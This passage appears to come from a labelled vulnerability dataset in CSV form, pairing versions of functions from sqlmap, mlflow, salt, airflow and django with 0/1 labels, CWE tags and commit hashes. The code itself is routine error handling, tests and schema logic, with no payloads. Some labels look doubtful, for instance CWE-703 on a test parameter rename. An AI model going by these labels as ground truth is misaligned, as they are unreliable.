        logger.critical(errMsg)

        os._exitcode = 1

        raise SystemExit

    except KeyboardInterrupt:
        print()

    except EOFError:
        print()

        errMsg = ""exit""
        logger.error(errMsg)

    except SystemExit as ex:
        os._exitcode = ex.code or 0

    except:
        print()
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        os._exitcode = 255

        if any(_ in excMsg for _ in (""MemoryError"", ""Cannot allocate memory"")):
            errMsg = ""memory exhaustion detected""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"", ""Disk full while accessing"")):
            errMsg = ""no space left on output device""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""The paging file is too small"",)):
            errMsg = ""no space left for paging file""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Access is denied"", ""subprocess"", ""metasploit"")):
            errMsg = ""permission error occurred while running Metasploit""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Permission denied"", ""metasploit"")):
            errMsg = ""permission error occurred while using Metasploit""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Read-only file system"" in excMsg:
            errMsg = ""output device is mounted as read-only""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Insufficient system resources"" in excMsg:
            errMsg = ""resource exhaustion detected""
            logger.critical(errMsg)
            raise SystemExit

        elif ""OperationalError: disk I/O error"" in excMsg:
            errMsg = ""I/O error on output device""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Violation of BIDI"" in excMsg:
            errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Invalid IPv6 URL"" in excMsg:
            errMsg = ""invalid URL ('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif ""_mkstemp_inner"" in excMsg:
            errMsg = ""there has been a problem while accessing temporary files""
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""tempfile.mkdtemp"", ""tempfile.mkstemp"", ""tempfile.py"")):
            errMsg = ""unable to write to the temporary directory '%s'. "" % tempfile.gettempdir()
            errMsg += ""Please make sure that your disk is not full and ""
            errMsg += ""that you have sufficient write permissions to ""
            errMsg += ""create temporary files and/or directories""
            logger.critical(errMsg)
            raise SystemExit

        elif ""Permission denied: '"" in excMsg:
            match = re.search(r""Permission denied: '([^']*)"", excMsg)
            errMsg = ""permission error occurred while accessing file '%s'"" % match.group(1)
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
            errMsg = ""please update the 'sqlalchemy' package (>= 1.1.11) ""
            errMsg += ""(Reference: 'https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""invalid maximum character passed to PyUnicode_New"" in excMsg and re.search(r""\A3\.[34]"", sys.version) is not None:
            errMsg = ""please upgrade the Python version (>= 3.5) ""
            errMsg += ""(Reference: 'https://bugs.python.org/issue18183')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""scramble_caching_sha2"", ""TypeError"")):
            errMsg = ""please downgrade the 'PyMySQL' package (=< 0.8.1) ""
            errMsg += ""(Reference: 'https://github.com/PyMySQL/PyMySQL/issues/700')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""must be pinned buffer, not bytearray"" in excMsg:
            errMsg = ""error occurred at Python interpreter which ""
            errMsg += ""is fixed in 2.7. Please update accordingly ""
            errMsg += ""(Reference: 'https://bugs.python.org/issue8104')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""OSError: [Errno 22] Invalid argument: '"", ""importlib"")):
            errMsg = ""unable to read file '%s'"" % extractRegexResult(r""OSError: \[Errno 22\] Invalid argument: '(?P<result>[^']+)"", excMsg)
            logger.critical(errMsg)
            raise SystemExit

        elif ""hash_randomization"" in excMsg:
            errMsg = ""error occurred at Python interpreter which ""
            errMsg += ""is fixed in 2.7.3. Please update accordingly ""
            errMsg += ""(Reference: 'https://docs.python.org/2/library/sys.html')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""Resource temporarily unavailable"", ""os.fork()"", ""dictionaryAttack"")):
            errMsg = ""there has been a problem while running the multiprocessing hash cracking. ""
            errMsg += ""Please rerun with option '--threads=1'""
            logger.critical(errMsg)
            raise SystemExit

        elif ""can't start new thread"" in excMsg:
            errMsg = ""there has been a problem while creating new thread instance. ""
            errMsg += ""Please make sure that you are not running too many processes""
            if not IS_WIN:
                errMsg += "" (or increase the 'ulimit -u' value)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""can't allocate read lock"" in excMsg:
            errMsg = ""there has been a problem in regular socket operation ""
            errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
            errMsg = ""wrong initialization of 'pymsql' detected (using Python3 dependencies)""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""ntlm"", ""socket.error, err"", ""SyntaxError"")):
            errMsg = ""wrong initialization of 'python-ntlm' detected (using Python2 syntax)""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""drda"", ""to_bytes"")):
            errMsg = ""wrong initialization of 'drda' detected (using Python3 syntax)""
            logger.critical(errMsg)
            raise SystemExit

        elif ""'WebSocket' object has no attribute 'status'"" in excMsg:
            errMsg = ""wrong websocket library detected""
            errMsg += "" (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-775041086')""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""window = tkinter.Tk()"",)):
            errMsg = ""there has been a problem in initialization of GUI interface ""
            errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""unable to access item 'liveTest'"",)):
            errMsg = ""detected usage of files from different versions of sqlmap""
            logger.critical(errMsg)
            raise SystemExit

        elif kb.get(""dumpKeyboardInterrupt""):
            raise SystemExit

        elif any(_ in excMsg for _ in (""Broken pipe"",)):
            raise SystemExit

        elif valid is False:
            errMsg = ""code integrity check failed (turning off automatic issue creation). ""
            errMsg += ""You should retrieve the latest development version from official GitHub ""
            errMsg += ""repository at '%s'"" % GIT_PAGE
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in ""%s\n%s"" % (errMsg, excMsg) for _ in (""tamper/"", ""waf/"", ""--engagement-dojo"")):
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in (""ImportError"", ""ModuleNotFoundError"", ""<frozen"", ""Can't find file for module"", ""SAXReaderNotAvailable"", ""source code string cannot contain null bytes"", ""No module named"", ""tp_name field"", ""module 'sqlite3' has no attribute 'OperationalError'"")):
            errMsg = ""invalid runtime environment ('%s')"" % excMsg.split(""Error: "")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""SyntaxError: Non-ASCII character"", "".py on line"", ""but no encoding declared"")):
            errMsg = ""invalid runtime environment ('%s')"" % excMsg.split(""Error: "")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""No such file"", ""_'"")):
            errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
            errMsg += ""You should retrieve the latest development version from official GitHub ""
            errMsg += ""repository at '%s'"" % GIT_PAGE
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""No such file"", ""sqlmap.conf"", ""Test"")):
            errMsg = ""you are trying to run (hidden) development tests inside the production environment""
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (""HTTPNtlmAuthHandler"", ""'str' object has no attribute 'decode'"")):
            errMsg = ""package 'python-ntlm' has a known compatibility issue with the ""
            errMsg += ""Python 3 (Reference: 'https://github.com/mullender/python-ntlm/pull/61')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
            errMsg = ""there has been a problem in enumeration. ""
            errMsg += ""Because of a considerable chance of false-positive case ""
            errMsg += ""you are advised to rerun with switch '--flush-session'""
            logger.critical(errMsg)
            raise SystemExit

        elif ""AttributeError: 'module' object has no attribute 'F_GETFD'"" in excMsg:
            errMsg = ""invalid runtime (\""%s\"") "" % excMsg.split(""Error: "")[-1].strip()
            errMsg += ""(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')""
            logger.critical(errMsg)
            raise SystemExit

        elif ""bad marshal data (unknown type code)"" in excMsg:
            match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
            errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
            errMsg += "". Please delete .pyc files on your system to fix the problem""
            logger.critical(errMsg)
            raise SystemExit

        for match in re.finditer(r'File ""(.+?)"", line', excMsg):
            file_ = match.group(1)
            try:
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
            except ValueError:
                pass
            file_ = file_.replace(""\\"", '/')
            if ""../"" in file_:
                file_ = re.sub(r""(\.\./)+"", '/', file_)
            else:
                file_ = file_.lstrip('/')
            file_ = re.sub(r""/{2,}"", '/', file_)
            excMsg = excMsg.replace(match.group(1), file_)

        errMsg = maskSensitiveData(errMsg)
        excMsg = maskSensitiveData(excMsg)

        if conf.get(""api"") or not valid:
            logger.critical(""%s\n%s"" % (errMsg, excMsg))
        else:
            logger.critical(errMsg)
            dataToStdout(""%s\n"" % setColor(excMsg.strip(), level=logging.CRITICAL))
            createGithubIssue(errMsg, excMsg)

    finally:
        kb.threadContinue = False

        if getDaysFromLastUpdate() > LAST_UPDATE_NAGGING_DAYS:
            warnMsg = ""your sqlmap version is outdated""
            logger.warn(warnMsg)

        if conf.get(""showTime""):
            dataToStdout(""\n[*] ending @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)

        kb.threadException = True

        if kb.get(""tempDir""):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass

            if not filterNone(filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ("".lock"", "".exe"", "".so"", '_'))):  # ignore junk files
                try:
                    shutil.rmtree(kb.tempDir, ignore_errors=True)
                except OSError:
                    pass

        if conf.get(""hashDB""):
            conf.hashDB.flush(True)
            conf.hashDB.close()         # NOTE: because of PyPy

        if conf.get(""harFile""):
            try:
                with openFile(conf.harFile, ""w+b"") as f:
                    json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
            except SqlmapBaseException as ex:
                errMsg = getSafeExString(ex)
                logger.critical(errMsg)

        if conf.get(""api""):
            conf.databaseCursor.disconnect()

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        _ = time.time()
        while threading.active_count() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
            time.sleep(0.01)

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            conf.disableBanner = True
            main()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/store/tracking/test_file_store.py,0,"def test_get_experiment_int_experiment_id_backcompat(self):
        fs = FileStore(self.test_root)
        exp_id = FileStore.DEFAULT_EXPERIMENT_ID
        root_dir = os.path.join(self.test_root, exp_id)
        with safe_edit_yaml(root_dir, ""meta.yaml"", self._experiment_id_edit_func):
            self._verify_experiment(fs, exp_id)",,mlflow/mlflow,12a1bcd8e09e12ab5c2cd7736cd6b369da37dfb8,"def test_get_experiment_int_experiment_id_backcompat(self):
        fs = FileStore(self.test_root)
        exp_id = FileStore.DEFAULT_EXPERIMENT_ID
        root_dir = os.path.join(self.test_root, exp_id)
        with safe_edit_yaml(root_dir, ""meta.yaml"", self._experiment_id_edit_func):
            self._verify_experiment(fs, exp_id)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/rh_ip.py,0,"def build_interface(iface, iface_type, enabled, **settings):
    '''
    Build an interface script for a network interface.

    CLI Example:

    .. code-block:: bash

        salt '*' ip.build_interface eth0 eth <settings>
    '''
    if __grains__['os'] == 'Fedora':
        if __grains__['osmajorrelease'] >= 18:
            rh_major = '7'
        else:
            rh_major = '6'
    elif __grains__['os'] == 'Amazon':
        # TODO: Is there a better formula for this? -W. Werner, 2019-05-30
        # If not, it will need to be updated whenever Amazon releases
        # Amazon Linux 3
        if __grains__['osmajorrelease'] == 2:
            rh_major = '7'
        else:
            rh_major = '6'
    else:
        rh_major = __grains__['osrelease'][:1]

    iface_type = iface_type.lower()

    if iface_type not in _IFACE_TYPES:
        _raise_error_iface(iface, iface_type, _IFACE_TYPES)

    if iface_type == 'slave':
        settings['slave'] = 'yes'
        if 'master' not in settings:
            msg = 'master is a required setting for slave interfaces'
            log.error(msg)
            raise AttributeError(msg)

    if iface_type == 'vlan':
        settings['vlan'] = 'yes'

    if iface_type == 'bridge':
        __salt__['pkg.install']('bridge-utils')

    if iface_type in ['eth', 'bond', 'bridge', 'slave', 'vlan', 'ipip', 'ib', 'alias']:
        opts = _parse_settings_eth(settings, iface_type, enabled, iface)
        try:
            template = JINJA.get_template('rh{0}_eth.jinja'.format(rh_major))
        except jinja2.exceptions.TemplateNotFound:
            log.error(
                'Could not load template rh%s_eth.jinja',
                rh_major
            )
            return ''
        ifcfg = template.render(opts)

    if 'test' in settings and settings['test']:
        return _read_temp(ifcfg)

    _write_file_iface(iface, ifcfg, _RH_NETWORK_SCRIPT_DIR, 'ifcfg-{0}')
    path = os.path.join(_RH_NETWORK_SCRIPT_DIR, 'ifcfg-{0}'.format(iface))

    return _read_file(path)",,saltstack/salt,e801afe3e51f0f46ea077c7c891b12c3e816ecda,"def build_interface(iface, iface_type, enabled, **settings):
    '''
    Build an interface script for a network interface.

    CLI Example:

    .. code-block:: bash

        salt '*' ip.build_interface eth0 eth <settings>
    '''
    if __grains__['os'] == 'Fedora':
        if __grains__['osmajorrelease'] >= 18:
            rh_major = '7'
        else:
            rh_major = '6'
    else:
        rh_major = __grains__['osrelease'][:1]

    iface_type = iface_type.lower()

    if iface_type not in _IFACE_TYPES:
        _raise_error_iface(iface, iface_type, _IFACE_TYPES)

    if iface_type == 'slave':
        settings['slave'] = 'yes'
        if 'master' not in settings:
            msg = 'master is a required setting for slave interfaces'
            log.error(msg)
            raise AttributeError(msg)

    if iface_type == 'vlan':
        settings['vlan'] = 'yes'

    if iface_type == 'bridge':
        __salt__['pkg.install']('bridge-utils')

    if iface_type in ['eth', 'bond', 'bridge', 'slave', 'vlan', 'ipip', 'ib', 'alias']:
        opts = _parse_settings_eth(settings, iface_type, enabled, iface)
        try:
            template = JINJA.get_template('rh{0}_eth.jinja'.format(rh_major))
        except jinja2.exceptions.TemplateNotFound:
            log.error(
                'Could not load template rh%s_eth.jinja',
                rh_major
            )
            return ''
        ifcfg = template.render(opts)

    if 'test' in settings and settings['test']:
        return _read_temp(ifcfg)

    _write_file_iface(iface, ifcfg, _RH_NETWORK_SCRIPT_DIR, 'ifcfg-{0}')
    path = os.path.join(_RH_NETWORK_SCRIPT_DIR, 'ifcfg-{0}'.format(iface))

    return _read_file(path)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/utils/test_proto_json_utils.py,0,"def test_parse_tf_serving_dictionary():
    # instances are correctly aggregated to dict of input name -> tensor
    tfserving_input = {
        ""instances"": [
            {""a"": ""s1"", ""b"": 1.1, ""c"": [1, 2, 3]},
            {""a"": ""s2"", ""b"": 2.2, ""c"": [4, 5, 6]},
            {""a"": ""s3"", ""b"": 3.3, ""c"": [7, 8, 9]},
        ]
    }
    # Without Schema
    result = parse_tf_serving_input(tfserving_input)
    expected_result_no_schema = {
        ""a"": np.array([""s1"", ""s2"", ""s3""]),
        ""b"": np.array([1.1, 2.2, 3.3]),
        ""c"": np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]]),
    }
    assert_result(result, expected_result_no_schema)

    # With schema
    schema = Schema(
        [
            TensorSpec(np.dtype(""str""), [-1], ""a""),
            TensorSpec(np.dtype(""float32""), [-1], ""b""),
            TensorSpec(np.dtype(""int32""), [-1], ""c""),
        ]
    )
    df_schema = Schema([ColSpec(""string"", ""a""), ColSpec(""float"", ""b""), ColSpec(""integer"", ""c"")])
    result = parse_tf_serving_input(tfserving_input, schema)
    expected_result_schema = {
        ""a"": np.array([""s1"", ""s2"", ""s3""], dtype=np.dtype(""str"")),
        ""b"": np.array([1.1, 2.2, 3.3], dtype=""float32""),
        ""c"": np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=""int32""),
    }
    assert_result(result, expected_result_schema)
    # With df Schema
    result = parse_tf_serving_input(tfserving_input, df_schema)
    assert_result(result, expected_result_schema)

    # input provided as a dict
    tfserving_input = {
        ""inputs"": {
            ""a"": [""s1"", ""s2"", ""s3""],
            ""b"": [1.1, 2.2, 3.3],
            ""c"": [[1, 2, 3], [4, 5, 6], [7, 8, 9]],
        }
    }
    # Without Schema
    result = parse_tf_serving_input(tfserving_input)
    assert_result(result, expected_result_no_schema)

    # With Schema
    result = parse_tf_serving_input(tfserving_input, schema)
    assert_result(result, expected_result_schema)

    # With df Schema
    result = parse_tf_serving_input(tfserving_input, df_schema)
    assert_result(result, expected_result_schema)",,mlflow/mlflow,63adcce15405dbeb8141bd46eb881413c0db5b5b,"def test_parse_tf_serving_dictionary():
    # instances are correctly aggregated to dict of input name -> tensor
    tfserving_input = {
        ""instances"": [
            {""a"": ""s1"", ""b"": 1.1, ""c"": [1, 2, 3]},
            {""a"": ""s2"", ""b"": 2.2, ""c"": [4, 5, 6]},
            {""a"": ""s3"", ""b"": 3.3, ""c"": [7, 8, 9]},
        ]
    }
    # Without Schema
    result = parse_tf_serving_input(tfserving_input)
    expected_result_no_schema = {
        ""a"": np.array([""s1"", ""s2"", ""s3""]),
        ""b"": np.array([1.1, 2.2, 3.3]),
        ""c"": np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]]),
    }
    assert_result(result, expected_result_no_schema)

    # With schema
    schema = Schema(
        [
            TensorSpec(np.dtype(""str""), [-1], ""a""),
            TensorSpec(np.dtype(""float32""), [-1], ""b""),
            TensorSpec(np.dtype(""int32""), [-1], ""c""),
        ]
    )
    dfSchema = Schema([ColSpec(""string"", ""a""), ColSpec(""float"", ""b""), ColSpec(""integer"", ""c"")])
    result = parse_tf_serving_input(tfserving_input, schema)
    expected_result_schema = {
        ""a"": np.array([""s1"", ""s2"", ""s3""], dtype=np.dtype(""str"")),
        ""b"": np.array([1.1, 2.2, 3.3], dtype=""float32""),
        ""c"": np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=""int32""),
    }
    assert_result(result, expected_result_schema)
    # With df Schema
    result = parse_tf_serving_input(tfserving_input, dfSchema)
    assert_result(result, expected_result_schema)

    # input provided as a dict
    tfserving_input = {
        ""inputs"": {
            ""a"": [""s1"", ""s2"", ""s3""],
            ""b"": [1.1, 2.2, 3.3],
            ""c"": [[1, 2, 3], [4, 5, 6], [7, 8, 9]],
        }
    }
    # Without Schema
    result = parse_tf_serving_input(tfserving_input)
    assert_result(result, expected_result_no_schema)

    # With Schema
    result = parse_tf_serving_input(tfserving_input, schema)
    assert_result(result, expected_result_schema)

    # With df Schema
    result = parse_tf_serving_input(tfserving_input, dfSchema)
    assert_result(result, expected_result_schema)"
,UNKNOWN,UNKNOWN,tests/cli/commands/remote_commands/test_config_command.py,1,"def test_lint_detects_multiple_issues(self):
        with mock.patch(
            ""airflow.configuration.conf.has_option"",
            side_effect=lambda section, option, lookup_from_deprecated: option
            in [""check_slas"", ""strict_dataset_uri_validation""],
        ):
            with contextlib.redirect_stdout(StringIO()) as temp_stdout:
                config_command.lint_config(cli_parser.get_parser().parse_args([""config"", ""lint""]))

            output = temp_stdout.getvalue()

        normalized_output = re.sub(r""\s+"", "" "", output.strip())

        assert (
            ""Removed deprecated `check_slas` configuration parameter from `core` section.""
            in normalized_output
        )
        assert (
            ""Removed deprecated `strict_dataset_uri_validation` configuration parameter from `core` section.""
            in normalized_output
        )",CWE-703,apache/airflow,8e3d25f909756b7438092ace915293b443026d37,"def test_lint_detects_multiple_issues(self):
        with mock.patch(
            ""airflow.configuration.conf.has_option"",
            side_effect=lambda section, option, lookup_from_deprecated_options: option
            in [""check_slas"", ""strict_dataset_uri_validation""],
        ):
            with contextlib.redirect_stdout(StringIO()) as temp_stdout:
                config_command.lint_config(cli_parser.get_parser().parse_args([""config"", ""lint""]))

            output = temp_stdout.getvalue()

        normalized_output = re.sub(r""\s+"", "" "", output.strip())

        assert (
            ""Removed deprecated `check_slas` configuration parameter from `core` section.""
            in normalized_output
        )
        assert (
            ""Removed deprecated `strict_dataset_uri_validation` configuration parameter from `core` section.""
            in normalized_output
        )"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,docs/exts/docs_build/docs_builder.py,0,"def clean_files(self) -> None:
        """"""Cleanup all artifacts generated by previous builds.""""""
        api_dir = os.path.join(self._src_dir, ""_api"")

        shutil.rmtree(api_dir, ignore_errors=True)
        shutil.rmtree(self._build_dir, ignore_errors=True)
        os.makedirs(api_dir, exist_ok=True)
        os.makedirs(self._build_dir, exist_ok=True)",CWE-Unknown,apache/airflow,23b87534e636e407f3f68107d442f55b771216f3,"def clean_files(self) -> None:
        """"""Cleanup all artifacts generated by previous builds.""""""
        api_dir = os.path.join(self._src_dir, ""_api"")

        shutil.rmtree(api_dir, ignore_errors=True)
        shutil.rmtree(self._build_dir, ignore_errors=True)
        os.makedirs(api_dir, exist_ok=True)
        os.makedirs(self._build_dir, exist_ok=True)"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.rel and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        if (old_field.db_index and not new_field.db_index and
                not old_field.unique and not
                (not new_field.unique and old_field.unique)):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(
                model._meta.db_table, old_field, new_field, new_type
            )
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if (self.connection.features.interprets_empty_strings_as_nulls and
                    new_field.get_internal_type() in (""CharField"", ""TextField"")):
                # The field is nullable in the database anyway, leave it alone
                pass
            elif new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if (not old_field.unique and new_field.unique) or (
            old_field.primary_key and not new_field.primary_key and new_field.unique
        ):
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index?
        if (not old_field.db_index and new_field.db_index and
                not new_field.unique and not
                (not old_field.unique and new_field.unique)):
            self.execute(self._create_index_sql(model, [new_field], suffix=""_uniq""))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model._meta.db_table, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(new_rel.related_model._meta.db_table),
                    ""changes"": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (new_field.rel and
                (fks_dropped or not old_field.rel or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
